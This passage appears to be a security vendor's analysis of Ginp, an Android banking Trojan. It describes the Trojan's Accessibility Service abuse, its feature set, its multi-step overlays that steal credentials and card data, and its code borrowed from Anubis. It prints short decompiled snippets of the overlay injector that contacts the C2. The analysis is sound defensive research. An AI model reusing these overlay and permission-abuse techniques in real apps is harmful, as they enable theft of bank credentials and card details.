Once the user grants the requested Accessibility Service privilege, Ginp starts by granting itself additional permissions, such as (dynamic) permissions required in order to be able to send messages and make calls, without requiring any further action from the victim. When done, the bot is functional and ready to receive commands and perform overlay attacks.

The commands supported by the most recent version of the bot are listed below. As can be observed, the possibilities offered by the bot are pretty common.

Features

The most recent version of Ginp has the same capabilities as most other Android banking Trojans, such as the use of overlay attacks, SMS control and contact list harvesting. Overall, it has a fairly common feature list, but it is expected to expand in future updates. Since Ginp is already using some code from the Anubis Trojan, it is quite likely that other, more advanced features from Anubis or other malware, such as a back-connect proxy, screen-streaming and RAT will also be added in the future.

Ginp embeds the following set of features, allowing it to remain under the radar and successfully perform attacks:

• Overlaying: Dynamic (local overlays obtained from the C2)
• SMS harvesting: SMS listing
• SMS harvesting: SMS forwarding
• Contact list collection
• Application listing
• Overlaying: Targets list update
• SMS: Sending
• Calls: Call forwarding
• C2 Resilience: Auxiliary C2 list
• Self-protection: Hiding the App icon
• Self-protection: Preventing removal
• Self-protection: Emulation-detection

Update 10/03/2020

At the end of February the actors behind Ginp added screen capture capabilities to their Trojan. Like previously added functionality, the code is borrowed from the leaked Anubis Trojan source code. It enables the bot to stream screenshots and send them to the C2 so that actors can see what is happening on the screen of the infected device.

Overlay attack

Ginp uses the Accessibility Service to check which application runs is the foreground. If the package name of the foreground app is included in the target list, an overlay is shown. The WebView-based overlay is loading an HTML page provided by the C2 in response to the package name provided by the bot.

The following code snippet shows how the WebView is created.

protected void onCreate(Bundle arg6) {
    super.onCreate(arg6);
    this.packageName = this.getIntent().getStringExtra("packageName");
    this.mContext = this;
    String v6 = this.store.get(this, "INJ_URL");
    Utils v0 = this.Tools;
    v0.Log(this, "\[Injector\] Starting injection on " + this.packageName, Boolean.valueOf(true));
    WebView v0_1 = new WebView(this);
    v0_1.getSettings().setJavaScriptEnabled(true);
    v0_1.setScrollBarStyle(0);
    v0_1.setWebViewClient(new MyWebViewClient(this, null));
    v0_1.setWebChromeClient(new MyWebChromeClient(this, null));
    String v1_1 = Resources.getSystem().getConfiguration().locale.getCountry();
    String v2 = Resources.getSystem().getConfiguration().locale.getLanguage();
    v0\_1.loadUrl(v6 + "?package=" + this.packageName + "&device\_id=" + this.store.get(this, "ANDROID\_ID") + "&country=" + v1\_1.toLowerCase() + "&lang=" + v2.toLowerCase());
    this.setContentView(v0_1);
}

Something that makes Ginp special is that all of its overlay screens for banking apps are consist of multiple steps, first stealing the victim’s login credentials, then stealing the credit card details (to “validate” the user identity), as shown in the screenshots hereafter:

The following code snippet shows that after the second overlay is filled-in and validated, it disappears and the targeted application is added to the list of packages names to be ignored for future overlays attacks.

public void onPageFinished(WebView arg3, String arg4) {
    if(arg4.contains("|DONE|")) {
        Utils v3 = ActivityInjection.this.Tools;
        Context v4 = ActivityInjection.this.mContext;
        v3.Log(v4, "\[Injector\] Grabbing on " + ActivityInjection.this.packageName + " completed.", Boolean.valueOf(true));
        ActivityInjection.this.Tools.addPackageToIgnore(ActivityInjection.this.mContext, ActivityInjection.this.packageName);
        ActivityInjection.this.finish();
    }
}

Targets

The initial version of Ginp had a generic credit card grabber overlay screen used for all targeted applications. Still included in the last versions, this screen is only used to overlay the official Google Play Store app. More apps could be added to the grabber target list in the future, such as the ones that were targeted in older versions:

• Facebook
• WhatsApp
• Skype
• Twitter
• Chrome
• Instagram
• Snapchat
• Viber

The following screenshot shows the generic card grabber overlay screen:

The current active target list is available in the appendix, containing a total of 24 unique targets. The following screenshots show what type of information is collected in both steps of the overlay attack:

Based on Anubis

Once the Anubis bot code got leaked, it was just a matter of time before new banking Trojans based on Anubis would surface. When analyzing the Ginp’s recent samples, ThreatFabric analysts found some similarities with the famous Android banking Trojan. Based on the evolution of Ginp it is clear that it isn’t based on Anubis, but rather reuses some of its code. Below are some of the elements showing the relation.

The names used for Android components are similar:

When analyzing these components, similarities were found in the code of both malware families:

Another major change that indicated that the actor copied code from the Anubis Trojan is the way of handling configuration values. Previous versions were storing config values within the variables of a class, while the latest version is using SharedPreferences with some of the keys being identical to those used by Anubis:

• isAccessibility
• time_work
• time_start_permission
• url_inj

Conclusion

Ginp is a simple but rather efficient banking Trojan providing the basic functionality to be able to trick victims into delivering personal information. In a 5-month timespan, actor managed to create a Trojan from scratch which will presumably continue evolving offering new features such as keylogging, back-connect proxy or RAT capabilities.

Ginp’s unusual target selection is not just about its focus on Spanish banks but also the wide selection of targeted apps per bank. The fact that the overlay screens are almost identical to the legitimate banking apps suggests that the actors might be very familiar with the Spanish banking applications and might even be accustomed to the language.

Although the current target list is limited to Spanish apps, it seems that the actor is taking into account that the bot should also be able to target other countries, seeing that the path used in the inject requests contains the country code of the targeted institution. This could indicate that actor already has plans in expanding the targets to applications from different countries and regions.

Mobile Threat Intelligence

Our threat intelligence solution – MTI, provides the context and in-depth knowledge of the past and present malware-powered threats in order to understand the future of the threat landscape. Such intelligence, includes both the strategic overview on trends and the operational indicators to discern early signals of upcoming threats and build a future-proof security strategy.

Client Side Detection

Our online fraud detection solution – CSD, presents financial institutions with the real-time overview on the risk status of their online channels and related devices. This overview provides all the relevant information and context to act upon threats before they turn into fraud. The connectivity with existing risk or fraud engines allows for automated and orchestrated, round the clock fraud mitigation.

Appendix

Samples

Some of the latest Ginp samples found in the wild:

Target list

The current list of apps observed to be targeted by Ginp contains a total of 24 unique applications as seen below. This list is expected to grow in the future.